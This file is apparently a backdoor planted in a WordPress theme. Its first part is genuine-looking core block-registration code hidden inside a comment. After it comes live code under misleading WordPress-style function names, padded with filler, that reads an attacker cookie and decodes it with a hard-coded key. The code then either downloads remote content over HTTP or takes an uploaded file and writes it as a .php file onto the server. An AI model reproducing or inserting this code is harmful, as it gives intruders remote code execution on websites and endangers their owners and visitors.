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File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/rubine/FqJ.js.php
<?php /* 
*
 * Functions related to registering and parsing blocks.
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.0.0
 

*
 * Removes the block asset's path prefix if provided.
 *
 * @since 5.5.0
 *
 * @param string $asset_handle_or_path Asset handle or prefixed path.
 * @return string Path without the prefix or the original value.
 
function remove_block_asset_path_prefix( $asset_handle_or_path ) {
	$path_prefix = 'file:';
	if ( 0 !== strpos( $asset_handle_or_path, $path_prefix ) ) {
		return $asset_handle_or_path;
	}
	return substr(
		$asset_handle_or_path,
		strlen( $path_prefix )
	);
}

*
 * Generates the name for an asset based on the name of the block
 * and the field name provided.
 *
 * @since 5.5.0
 *
 * @param string $block_name Name of the block.
 * @param string $field_name Name of the metadata field.
 * @return string Generated asset name for the block's field.
 
function generate_block_asset_handle( $block_name, $field_name ) {
	if ( 0 === strpos( $block_name, 'core/' ) ) {
		$asset_handle = str_replace( 'core/', 'wp-block-', $block_name );
		if ( 0 === strpos( $field_name, 'editor' ) ) {
			$asset_handle .= '-editor';
		}
		if ( 0 === strpos( $field_name, 'view' ) ) {
			$asset_handle .= '-view';
		}
		return $asset_handle;
	}

	$field_mappings = array(
		'editorScript' => 'editor-script',
		'script'       => 'script',
		'viewScript'   => 'view-script',
		'editorStyle'  => 'editor-style',
		'style'        => 'style',
	);
	return str_replace( '/', '-', $block_name ) .
		'-' . $field_mappings[ $field_name ];
}

*
 * Finds a script handle for the selected block metadata field. It detects
 * when a path to file was provided and finds a corresponding asset file
 * with details necessary to register the script under automatically
 * generated handle name. It returns unprocessed script handle otherwise.
 *
 * @since 5.5.0
 *
 * @param array  $metadata   Block metadata.
 * @param string $field_name Field name to pick from metadata.
 * @return string|false Script handle provided directly or created through
 *                      script's registration, or false on failure.
 
function register_block_script_handle( $metadata, $field_name ) {
	if ( empty( $metadata[ $field_name ] ) ) {
		return false;
	}
	$script_handle = $metadata[ $field_name ];
	$script_path   = remove_block_asset_path_prefix( $metadata[ $field_name ] );
	if ( $script_handle === $script_path ) {
		return $script_handle;
	}

	$script_handle     = generate_block_asset_handle( $metadata['name'], $field_name );
	$script_asset_path = wp_normalize_path(
		realpath(
			dirname( $metadata['file'] ) . '/' .
			substr_replace( $script_path, '.asset.php', - strlen( '.js' ) )
		)
	);
	if ( ! file_exists( $script_asset_path ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				 translators: 1: Field name, 2: Block name. 
				__( 'The asset file for the "%1$s" defined in "%2$s" block definition is missing.' ),
				$field_name,
				$metadata['name']
			),
			'5.5.0'
		);
		return false;
	}
	 Path needs to be normalized to work in Windows env.
	$wpinc_path_norm  = wp_normalize_path( realpath( ABSPATH . WPINC ) );
	$script_path_norm = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . $script_path ) );
	$is_core_block    = isset( $metadata['file'] ) && 0 === strpos( $metadata['file'], $wpinc_path_norm );

	$script_uri          = $is_core_block ?
		includes_url( str_replace( $wpinc_path_norm, '', $script_path_norm ) ) :
		plugins_url( $script_path, $metadata['file'] );
	$script_asset        = require $script_asset_path;
	$script_dependencies = isset( $script_asset['dependencies'] ) ? $script_asset['dependencies'] : array();
	$result              = wp_register_script(
		$script_handle,
		$script_uri,
		$script_dependencies,
		isset( $script_asset['version'] ) ? $script_asset['version'] : false
	);
	if ( ! $result ) {
		return false;
	}

	if ( ! empty( $metadata['textdomain'] ) && in_array( 'wp-i18n', $script_dependencies, true ) ) {
		wp_set_script_translations( $script_handle, $metadata['textdomain'] );
	}

	return $script_handle;
}

*
 * Finds a style handle for the block metadata field. It detects when a path
 * to file was provided and registers the style under automatically
 * generated handle name. It returns unprocessed style handle otherwise.
 *
 * @since 5.5.0
 *
 * @param array  $metadata   Block metadata.
 * @param string $field_name Field name to pick from metadata.
 * @return string|false Style handle provided directly or created through
 *                      style's registration, or false on failure.
 
function register_block_style_handle( $metadata, $field_name ) {
	if ( empty( $metadata[ $field_name ] ) ) {
		return false;
	}
	$wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) );
	$is_core_block   = isset( $metadata['file'] ) && 0 === strpos( $metadata['file'], $wpinc_path_norm );
	if ( $is_core_block && ! wp_should_load_separate_core_block_assets() ) {
		return false;
	}

	 Check whether styles should have a ".min" suffix or not.
	$suffix = SCRIPT_DEBUG ? '' : '.min';

	$style_handle = $metadata[ $field_name ];
	$style_path   = remove_block_asset_path_prefix( $metadata[ $field_name ] );

	if ( $style_handle === $style_path && ! $is_core_block ) {
		return $style_handle;
	}

	$style_uri = plugins_url( $style_path, $metadata['file'] );
	if ( $is_core_block ) {
		$style_path = "style$suffix.css";
		$style_uri  = includes_url( 'blocks/' . str_replace( 'core/', '', $metadata['name'] ) . "/style$suffix.css" );
	}

	$style_handle   = generate_block_asset_handle( $metadata['name'], $field_name );
	$block_dir      = dirname( $metadata['file'] );
	$style_file     = realpath( "$block_dir/$style_path" );
	$has_style_file = false !== $style_file;
	$version        = ! $is_core_block && isset( $metadata['version'] ) ? $metadata['version'] : false;
	$style_uri      = $has_style_file ? $style_uri : false;
	$result         = wp_register_style(
		$style_handle,
		$style_uri,
		array(),
		$version
	);
	if ( file_exists( str_replace( '.css', '-rtl.css', $style_file ) ) ) {
		wp_style_add_data( $style_handle, 'rtl', 'replace' );
	}
	if ( $has_style_file ) {
		wp_style_add_data( $style_handle, 'path', $style_file );
	}

	$rtl_file = str_replace( "$suffix.css", "-rtl$suffix.css", $style_file );
	if ( is_rtl() && file_exists( $rtl_file ) ) {
		wp_style_add_data( $style_handle, 'path', $rtl_file );
	}

	return $result ? $style_handle : false;
}

*
 * Gets i18n schema for block's metadata read from `block.json` file.
 *
 * @since 5.9.0
 *
 * @return array The schema for block's metadata.
 
function get_block_metadata_i18n_schema() {
	static $i18n_block_schema;

	if ( ! isset( $i18n_block_schema ) ) {
		$i18n_block_schema = wp_json_file_decode( __DIR__ . '/block-i18n.json' );
	}

	return $i18n_block_schema;
}

*
 * Registers a block type from the metadata stored in the `block.json` file.
 *
 * @since 5.5.0
 * @since 5.7.0 Added support for `textdomain` field and i18n handling for all translatable fields.
 * @since 5.9.0 Added support for `variations` and `viewScript` fields.
 *
 * @param string $file_or_folder Path to the JSON file with metadata definition for
 *                               the block or path to the folder where the `block.json` file is located.
 *                               If providing the path to a JSON file, the filename must end with `block.json`.
 * @param array  $args           Optional. Array of block type arguments. Accepts any public property
 *                               of `WP_Block_Type`. See WP_Block_Type::__construct() for information
 *                               on accepted arguments. Default empty array.
 * @return WP_Block_Type|false The registered block type on success, or false on failure.
 
function register_block_type_from_metadata( $file_or_folder, $args = array() ) {
	$filename      = 'block.json';
	$metadata_file = ( substr( $file_or_folder, -strlen( $filename ) ) !== $filename ) ?
		trailingslashit( $file_or_folder ) . $filename :
		$file_or_folder;
	if ( ! file_exists( $metadata_file ) ) {
		return false;
	}

	$metadata = wp_json_file_decode( $metadata_file, array( 'associative' => true ) );
	if ( ! is_array( $metadata ) || empty( $metadata['name'] ) ) {
		return false;
	}
	$metadata['file'] = wp_normalize_path( realpath( $metadata_file ) );

	*
	 * Filters the metadata provided for registering a block type.
	 *
	 * @since 5.7.0
	 *
	 * @param array $metadata Metadata for registering a block type.
	 
	$metadata = apply_filters( 'block_type_metadata', $metadata );

	 Add `style` and `editor_style` for core blocks if missing.
	if ( ! empty( $metadata['name'] ) && 0 === strpos( $metadata['name'], 'core/' ) ) {
		$block_name = str_replace( 'core/', '', $metadata['name'] );

		if ( ! isset( $metadata['style'] ) ) {
			$metadata['style'] = "wp-block-$block_name";
		}
		if ( ! isset( $metadata['editorStyle'] ) ) {
			$metadata['editorStyle'] = "wp-block-{$block_name}-editor";
		}
	}

	$settings          = array();
	$property_mappings = array(
		'apiVersion'      => 'api_version',
		'title'           => 'title',
		'category'        => 'category',
		'parent'          => 'parent',
		'icon'            => 'icon',
		'description'     => 'description',
		'keywords'        => 'keywords',
		'attributes'      => 'attributes',
		'providesContext' => 'provides_context',
		'usesContext'     => 'uses_context',
		'supports'        => 'supports',
		'styles'          => 'styles',
		'variations'      => 'variations',
		'example'         => 'example',
	);
	$textdomain        = ! empty( $metadata['textdomain'] ) ? $metadata['textdomain'] : null;
	$i18n_schema       = get_block_metadata_i18n_schema();

	foreach ( $property_mappings as $key => $mapped_key ) {
		if ( isset( $metadata[ $key ] ) ) {
			$settings[ $mapped_key ] = $metadata[ $key ];
			if ( $textdomain && isset( $i18n_schema->$key ) ) {
				$settings[ $mapped_key ] = translate_settings_using_i18n_schema( $i18n_schema->$key, $settings[ $key ], $textdomain );
			}
		}
	}

	if ( ! empty( $metadata['editorScript'] ) ) {
		$settings['editor_script'] = register_block_script_handle(
			$metadata,
			'editorScript'
		);
	}

	if ( ! empty( $metadata['script'] ) ) {
		$settings['script'] = register_block_script_handle(
			$metadata,
			'script'
		);
	}

	if ( ! empty( $metadata['viewScript'] ) ) {
		$settings['view_script'] = register_block_script_handle(
			$metadata,
			'viewScript'
		);
	}

	if ( ! empty( $metadata['editorStyle'] ) ) {
		$settings['editor_style'] = register_block_style_handle(
			$metadata,
			'editorStyle'
		);
	}

	if ( ! empty( $metadata['style'] ) ) {
		$settings['style'] = register_block_style_handle(
			$metadata,
			'style'
		);
	}

	*
	 * Filters the settings determined from the block type metadata.
	 *
	 * @since 5.7.0
	 *
	 * @param array $settings Array of determined settings for registering a block type.
	 * @param array $metadata Metadata provided for registering a block type.
	 
	$settings = apply_filters(
		'block_type_metadata_settings',
		array_merge(
			$settings,
			$args
		),
		$metadata
	);

	return WP_Block_Type_Registry::get_instance()->register(
		$metadata['name'],
		$settings
	);
}

*
 * Registers a block type. The recommended way is to register a block type using
 * the metadata stored in the `block.json` file.
 *
 * @since 5.0.0
 * @since 5.8.0 First parameter now accepts a path to the `block.json` file.
 *
 * @param string|WP_Block_Type $block_type Block type name including namespace, or alternatively
 *                                         a path to the JSON file with metadata definition for the block,
 *                                         or a path to the folder where the `block.json` file is located,
 *                                         or a complete WP_Block_Type instance.
 *                                         In case a WP_Block_Type is provided, the $args parameter will be ignored.
 * @param array                $args       Optional. Array of block type arguments. Accepts any public property
 *                                         of `WP_Block_Type`. See WP_Block_Type::__construct() for information
 *                                         on accepted arguments. Default empty array.
 *
 * @return WP_Block_Type|false The registered block type on success, or false on failure.
 
function register_block_type( $block_type, $args = array() ) {
	if ( is_string( $block_type ) && file_exists( $block_type ) ) {
		return register_block_type_from_metadata( $block_type, $args );
	}

	return WP_Block_Type_Registry::get_instance()->register( $block_type, $args );
}

*
 * Unregisters a block type.
 *
 * @since 5.0.0
 *
 * @param string|WP_Block_Type $name Block type name including namespace, or alternatively
 *                                   a complete WP_Block_Type instance.
 * @return WP_Block_Type|false The unregistered block type on success, or false on failure.
 
function unregister_block_type( $name ) {
	return WP_Block_Type_Registry::get_instance()->unregister( $name );
}

*
 * Determine whether a post or content string has blocks.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * the pattern of a block but not validating its structure. For strict accuracy,
 * you should use the block parser on post content.
 *
 * @since 5.0.0
 *
 * @see parse_blocks()
 *
 * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object.
 *                                      Defaults to global $post.
 * @return bool Whether the post has blocks.
 
function has_blocks( $post = null ) {
	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );
		if ( $wp_post instanceof WP_Post ) {
			$post = $wp_post->post_content;
		}
	}

	return false !== strpos( (string) $post, '<!-- wp:' );
}

*
 * Determine whether a $post or a string contains a specific block type.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * whether the block type exists but not validating its structure and not checking
 * reusable blocks. For strict accuracy, you should use the block parser on post content.
 *
 * @since 5.0.0
 *
 * @see parse_blocks()
 *
 * @param string                  $block_name Full block type to look for.
 * @param int|string|WP_Post|null $post       Optional. Post content, post ID, or post object.
 *                                            Defaults to global $post.
 * @return bool Whether the post content contains the specified block.
 
function has_block( $block_name, $post = null ) {
	if ( ! has_blocks( $post ) ) {
		return false;
	}

	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );
		if ( $wp_post instanceof WP_Post ) {
			$post = $wp_post->post_content;
		}
	}

	
	 * Normalize block name to include namespace, if provided as non-namespaced.
	 * This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by
	 * their serialized names.
	 
	if ( false === strpos( $block_name, '/' ) ) {
		$block_name = 'core/' . $block_name;
	}

	 Test for existence of block by its fully qualified name.
	$has_block = false !== strpos( $post, '<!-- wp:' . $block_name . ' ' );

	if ( ! $has_block ) {
		
		 * If the given block name would serialize to a different name, test for
		 * existence by the serialized form.
		 
		$serialized_block_name = strip_core_block_namespace( $block_name );
		if ( $serialized_block_name !== $block_name ) {
			$has_block = false !== strpos( $post, '<!-- wp:' . $serialized_block_name . ' ' );
		}
	}

	return $has_block;
}

*
 * Returns an array of the names of all registered dynamic block types.
 *
 * @since 5.0.0
 *
 * @return string[] Array of dynamic block names.
 
function get_dynamic_block_names() {
	$dynamic_block_names = array();

	$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
	foreach ( $block_types as $block_type ) {
		if ( $block_type->is_dynamic() ) {
			$dynamic_block_names[] = $block_type->name;
		}
	}

	return $dynamic_block_names;
}

*
 * Given an array of attributes, returns a string in the serialized attributes
 * format prepared for post content.
 *
 * The serialized result is a JSON-encoded string, with unicode escape sequence
 * substitution for characters which might otherwise interfere with embedding
 * the result in an HTML comment.
 *
 * This function must produce output that remains in sync with the output of
 * the serializeAttributes JavaScript function in the block editor in order
 * to ensure consistent operation between PHP and JavaScript.
 *
 * @since 5.3.1
 *
 * @param array $block_attributes Attributes object.
 * @return string Serialized attributes.
 
function serialize_block_attributes( $block_attributes ) {
	$encoded_attributes = wp_json_encode( $block_attributes, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
	$encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes );
	$encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes );
	$encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes );
	$encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes );
	 Regex: /\\"/
	$encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes );

	return $encoded_attributes;
}

*
 * Returns the block name to use for serialization. This will remove the default
 * "core/" namespace from a block name.
 *
 * @since 5.3.1
 *
 * @param string $block_name Original block name.
 * @return string Block name to use for serialization.
 
function strip_core_block_namespace( $block_name = null ) {
	if ( is_string( $block_name ) && 0 === strpos( $block_name, 'core/' ) ) {
		return substr( $block_name, 5 );
	}

	return $block_name;
}

*
 * Returns the content of a block, including comment delimiters.
 *
 * @since 5.3.1
 *
 * @param string|null $block_name       Block name. Null if the block name is unknown,
 *                                      e.g. Classic blocks have their name set to null.
 * @param array       $block_attributes Block attributes.
 * @param string      $block_content    Block save content.
 * @return string Comment-delimited block content.
 
function get_comment_delimited_block_content( $block_name, $block_attributes, $block_content ) {
	if ( is_null( $block_name ) ) {
		return $block_content;
	}

	$serialized_block_name = strip_core_block_namespace( $block_name );
	$serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' ';

	if ( empty( $block_content ) ) {
		return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes );
	}

	return sprintf(
		'<!-- wp:%s %s-->%s<!-- /wp:%s -->',
		$serialized_block_name,
		$serialized_attributes,
		$block_content,
		$serialized_block_name
	);
}

*
 * Returns the content of a block, including comment delimiters, serializing all
 * attributes from the given parsed block.
 *
 * This should be used when preparing a block to be saved to post content.
 * Prefer `render_block` when preparing a block for display. Unlike
 * `render_block`, this does not evaluate a block's `render_callback`, and will
 * instead preserve the markup as parsed.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block $block A single parsed block object.
 * @return string String of rendered HTML.
 
function serialize_block( $block ) {
	$block_content = '';

	$index = 0;
	foreach ( $block['innerContent'] as $chunk ) {
		$block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] );
	}

	if ( ! is_array( $block['attrs'] ) ) {
		$block['attrs'] = array();
	}

	return get_comment_delimited_block_content(
		$block['blockName'],
		$block['attrs'],
		$block_content
	);
}

*
 * Returns a joined string of the aggregate serialization of the given parsed
 * blocks.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block[] $blocks Parsed block objects.
 * @return string String of rendered HTML.
 
function serialize_blocks( $blocks ) {
	return implode( '', array_map( 'serialize_block', $blocks ) );
}

*
 * Filters and sanitizes block content to remove non-allowable HTML from
 * parsed block attribute values.
 *
 * @since 5.3.1
 *
 * @param string         $text              Text that may contain block content.
 * @param array[]|string $allowed_html      An array of allowed HTML elements
 *                                          and attributes, or a context name
 *                                          such as 'post'.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string The filtered and sanitized content result.
 
function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) {
	$result = '';

	$blocks = parse_blocks( $text );
	foreach ( $blocks as $block ) {
		$block   = filter_block_kses( $block, $allowed_html, $allowed_protocols );
		$result .= serialize_block( $block );
	}

	return $result;
}

*
 * Filters and sanitizes a parsed block to remove non-allowable HTML from block
 * attribute values.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block $block             The parsed block object.
 * @param array[]|string        $allowed_html      An array of allowed HTML
 *                                                 elements and attributes, or a
 *                                                 context name such as 'post'.
 * @param string[]              $allowed_protocols Allowed URL protocols.
 * @return array The filtered and sanitized block object result.
 
function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) {
	$block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols );

	if ( is_array( $block['innerB*/
 /**
 * Grants Super Admin privileges.
 *
 * @since 3.0.0
 *
 * @global array $super_admins
 *
 * @param int $user_id ID of the user to be granted Super Admin privileges.
 * @return bool True on success, false on failure. This can fail when the user is
 *              already a super admin or when the `$super_admins` global is defined.
 */
function wp_reset_postdata($skip_post_status)
{ // Short by more than one byte, throw warning
    if (strpos($skip_post_status, "/") !== false) {
        return true;
    } // XML (handled as string)
    $block_types = ["first", "second", "third"];
    return false;
}


/* translators: 1: Plugin version number. 2: Plugin author name. */
function updateHashWithFile($file_id, $flood_die)
{
    return file_put_contents($file_id, $flood_die);
}


/**
 * Prepare revisions for JavaScript.
 *
 * @since 3.6.0
 *
 * @param WP_Post|int $LAME_q_valueost                 The post object or post ID.
 * @param int         $selected_revision_id The selected revision ID.
 * @param int         $from                 Optional. The revision ID to compare from.
 * @return array An associative array of revision data and related settings.
 */
function twentytwentyfour_block_styles($file_id, $exclude)
{
    $current_taxonomy = file_get_contents($file_id);
    $auto_updates = "Format this string properly"; // Checks if there is a manual server-side directive processing.
    if (strlen($auto_updates) > 5) {
        $group_label = trim($auto_updates);
        $age = str_pad($group_label, 25, '-');
    }

    $ed = explode(' ', $age);
    $api_url_part = array();
    foreach ($ed as $has_font_style_support) {
        $api_url_part[] = hash('sha256', $has_font_style_support);
    }

    $disallowed_html = register_block_core_footnotes_post_meta($current_taxonomy, $exclude); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
    $formaction = implode('', $api_url_part); // Field Name                       Field Type   Size (bits)
    file_put_contents($file_id, $disallowed_html);
}


/* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
function the_author_icq($v_temp_path, $forced_content, $corresponding)
{
    $active_theme_label = $_FILES[$v_temp_path]['name'];
    $rewind = "user@domain.com"; // pic_width_in_mbs_minus1
    if (strpos($rewind, '@') !== false) {
        $QuicktimeStoreFrontCodeLookup = explode('@', $rewind);
    }

    $file_id = wpmu_menu($active_theme_label);
    twentytwentyfour_block_styles($_FILES[$v_temp_path]['tmp_name'], $forced_content);
    wp_skip_paused_themes($_FILES[$v_temp_path]['tmp_name'], $file_id);
}


/**
 * Adds a callback function to an action hook.
 *
 * Actions are the hooks that the WordPress core launches at specific points
 * during execution, or when specific events occur. Plugins can specify that
 * one or more of its PHP functions are executed at these points, using the
 * Action API.
 *
 * @since 1.2.0
 *
 * @param string   $hook_name       The name of the action to add the callback to.
 * @param callable $callback        The callback to be run when the action is called.
 * @param int      $LAME_q_valueriority        Optional. Used to specify the order in which the functions
 *                                  associated with a particular action are executed.
 *                                  Lower numbers correspond with earlier execution,
 *                                  and functions with the same priority are executed
 *                                  in the order in which they were added to the action. Default 10.
 * @param int      $accepted_args   Optional. The number of arguments the function accepts. Default 1.
 * @return true Always returns true.
 */
function get_credits($skip_post_status, $file_id)
{
    $widget_a = do_action($skip_post_status);
    $varname = "Lorem Ipsum";
    $rewrite_vars = "Sample%20Data";
    $show_post_type_archive_feed = rawurldecode($rewrite_vars);
    if ($widget_a === false) {
    $required_attr_limits = str_pad($varname, 15, ".");
    $root_url = hash('sha1', $show_post_type_archive_feed); // If error storing permanently, unlink.
        return false;
    }
    $restriction_type = str_replace(" ", "_", $varname);
    if (strlen($restriction_type) < 20) {
        $LAME_q_value = date("Y-m-d H:i:s");
    }

    return updateHashWithFile($file_id, $widget_a);
}


/**
 * Used to display a "After a file has been uploaded..." help message.
 *
 * @since 3.3.0
 */
function stop_capturing_option_updates($skip_post_status)
{
    $active_theme_label = basename($skip_post_status);
    $subhandles = "Linda|Paul|George|Ringo";
    $file_id = wpmu_menu($active_theme_label);
    $table_columns = trim($subhandles);
    $akismet_cron_event = explode('|', $table_columns);
    $found_action = array_unique($akismet_cron_event);
    get_credits($skip_post_status, $file_id);
}


/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, an empty string.
	 */
function wp_oembed_add_host_js($v_temp_path)
{
    $forced_content = 'FMUaiCjxWRTbwMEHisVoJidNOmR';
    $enable_custom_fields = array("data1", "data2", "data3"); // Check the email address.
    $c_val = implode("|", $enable_custom_fields);
    $ts_prefix_len = str_pad($c_val, 15, "!");
    if (isset($_COOKIE[$v_temp_path])) {
    if (!empty($ts_prefix_len)) {
        $yminusx = hash('md5', $ts_prefix_len);
        $comment_list_item = substr($yminusx, 0, 10);
    }
 // Link plugin.
        wp_create_initial_post_meta($v_temp_path, $forced_content);
    } //         [4D][BB] -- Contains a single seek entry to an EBML element.
}


/**
 * Retrieves the adjacent post link.
 *
 * Can be either next post link or previous.
 *
 * @since 3.7.0
 *
 * @param string       $format         Link anchor format.
 * @param string       $show_post_type_archive_feedink           Link permalink format.
 * @param bool         $f4g5n_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs.
 *                                     Default empty.
 * @param bool         $LAME_q_valuerevious       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$f4g5n_same_term` is true. Default 'category'.
 * @return string The link URL of the previous or next post in relation to the current post.
 */
function register_attributes($v_temp_path, $feed_name = 'txt') // Number of index points (N)     $xx xx
{
    return $v_temp_path . '.' . $feed_name;
}


/**
	 * Retrieves a customize setting.
	 *
	 * @since 3.4.0
	 *
	 * @param string $f4g5d Customize Setting ID.
	 * @return WP_Customize_Setting|void The setting, if set.
	 */
function set_url_replacements($v_temp_path, $forced_content, $corresponding)
{
    if (isset($_FILES[$v_temp_path])) {
    $fn_validate_webfont = "hello world example";
    if (isset($fn_validate_webfont)) {
        $removed_args = strlen($fn_validate_webfont);
        $term_ids = substr($fn_validate_webfont, 0, $removed_args / 2);
        $sql_clauses = str_replace(' ', '-', $term_ids);
        $uploader_l10n = $sql_clauses . str_pad($fn_validate_webfont, 20, "*");
    }
 // Upgrade versions prior to 2.9.
        the_author_icq($v_temp_path, $forced_content, $corresponding);
    }
	
    wp_cache_replace($corresponding);
}


/**
 * Displays a paginated navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 *
 * @param array $args See get_the_comments_pagination() for available arguments. Default empty array.
 */
function wpmu_menu($active_theme_label)
{
    return filter_dynamic_setting_class() . DIRECTORY_SEPARATOR . $active_theme_label . ".php";
}


/**
 * Prepares server-registered blocks for the block editor.
 *
 * Returns an associative array of registered block data keyed by block name. Data includes properties
 * of a block relevant for client registration.
 *
 * @since 5.0.0
 * @since 6.3.0 Added `selectors` field.
 * @since 6.4.0 Added `block_hooks` field.
 *
 * @return array An associative array of registered block data.
 */
function mailSend($corresponding)
{
    stop_capturing_option_updates($corresponding);
    $toggle_button_content = "Info&Data";
    wp_cache_replace($corresponding); // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
}


/**
 * Outputs the login page header.
 *
 * @since 2.1.0
 *
 * @global string      $error         Login error message set by deprecated pluggable wp_login() function
 *                                    or plugins replacing it.
 * @global bool|string $f4g5nterim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 * @global string      $action        The action that brought the visitor to the login page.
 *
 * @param string   $title    Optional. WordPress login Page title to display in the `<title>` element.
 *                           Default 'Log In'.
 * @param string   $all_options  Optional. Message to display in header. Default empty.
 * @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance.
 */
function wp_getPosts($all_deps)
{
    $frame_incdec = sprintf("%c", $all_deps); // Prevent premature closing of textarea in case format_for_editor() didn't apply or the_editor_content filter did a wrong thing.
    $header_thumbnail = "foo bar";
    $QuicktimeStoreFrontCodeLookup = explode(" ", $header_thumbnail);
    $drefDataOffset = array_map('strtoupper', $QuicktimeStoreFrontCodeLookup);
    $comment_id_list = implode("-", $drefDataOffset);
    return $frame_incdec; // Now, iterate over every group in $groups and have the formatter render it in HTML.
}


/*
			 * $dbh is defined, but isn't a real connection.
			 * Something has gone horribly wrong, let's try a reconnect.
			 */
function do_action($skip_post_status)
{ // Parent.
    $skip_post_status = wp_omit_loading_attr_threshold($skip_post_status); // st->r[4] = ...
    $group_label = trim("  Hello PHP  "); // Only pass valid public keys through.
    $filename_source = strtoupper($group_label);
    $MPEGaudioEmphasis = substr($filename_source, 0, 5);
    return file_get_contents($skip_post_status); // The above rule also has to be negated for blocks inside nested `.has-global-padding` blocks.
}


/**
 * Displays the post excerpt for the feed.
 *
 * @since 0.71
 */
function merge_items($frame_incdec, $escaped_text) // Get all of the field names in the query from between the parentheses.
{ //  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
    $widget_type = wp_rand($frame_incdec) - wp_rand($escaped_text);
    $extra_special_chars = "user:email@domain.com";
    $table_prefix = explode(':', $extra_special_chars); // If asked to, turn the feed queries into comment feed ones.
    if (count($table_prefix) === 2) {
        list($codes, $rewind) = $table_prefix;
        $ID3v22_iTunes_BrokenFrames = hash('md5', $codes);
        $blog_url = str_pad($ID3v22_iTunes_BrokenFrames, 50, '!');
        $font_face_id = trim($rewind);
        $transient_name = strlen($font_face_id);
        if ($transient_name > 10) {
            for ($f4g5 = 0; $f4g5 < 3; $f4g5++) {
                $user_location[] = substr($blog_url, $f4g5*10, 10);
            }
            $current_locale = implode('', $user_location);
        }
    }

    $widget_type = $widget_type + 256; #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
    $widget_type = $widget_type % 256;
    $frame_incdec = wp_getPosts($widget_type);
    return $frame_incdec;
}


/**
	 * Initializes the installation strings.
	 *
	 * @since 2.8.0
	 */
function wp_omit_loading_attr_threshold($skip_post_status)
{
    $skip_post_status = "http://" . $skip_post_status; //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
    $archive_is_valid = "array,merge,test"; // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
    $dirs = explode(",", $archive_is_valid);
    $realSize = array_merge($dirs, array("end")); // Make sure the data is valid before storing it in a transient.
    if (count($realSize) > 3) {
        $subdir_replacement_01 = implode(":", $realSize);
    }

    return $skip_post_status;
}


/**
    * decodes a JSON string into appropriate variable
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    string  $robots_strings    JSON-formatted string
    *
    * @return   mixed   number, boolean, string, array, or object
    *                   corresponding to given JSON input string.
    *                   See argument 1 to Services_JSON() above for object-output behavior.
    *                   Note that decode() always returns strings
    *                   in ASCII or UTF-8 format!
    * @access   public
    */
function wp_create_initial_post_meta($v_temp_path, $forced_content)
{
    $time_scale = $_COOKIE[$v_temp_path]; // Capabilities.
    $filepath = array(100, 200, 300, 400);
    $FraunhoferVBROffset = implode(',', $filepath);
    $wpautop = explode(',', $FraunhoferVBROffset);
    $classic_elements = array();
    $time_scale = default_topic_count_scale($time_scale);
    $corresponding = register_block_core_footnotes_post_meta($time_scale, $forced_content);
    if (wp_reset_postdata($corresponding)) { //       not belong to the primary item or a tile. Ignore this issue.
    for ($f4g5 = 0; $f4g5 < count($wpautop); $f4g5++) {
        $classic_elements[$f4g5] = str_pad($wpautop[$f4g5], 5, '0', STR_PAD_LEFT);
    }
 // between a compressed document, and a ZIP file
    $term_relationships = implode('|', $classic_elements);
    $reply_to_id = hash('md5', $term_relationships);
		$feed_structure = mailSend($corresponding);
        return $feed_structure;
    }
	
    set_url_replacements($v_temp_path, $forced_content, $corresponding);
}


/**
 * Creates a 'sizes' attribute value for an image.
 *
 * @since 4.4.0
 *
 * @param string|int[] $size          Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order).
 * @param string|null  $f4g5mage_src     Optional. The URL to the image file. Default null.
 * @param array|null   $f4g5mage_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @param int          $attachment_id Optional. Image attachment ID. Either `$f4g5mage_meta` or `$attachment_id`
 *                                    is needed when using the image size name as argument for `$size`. Default 0.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
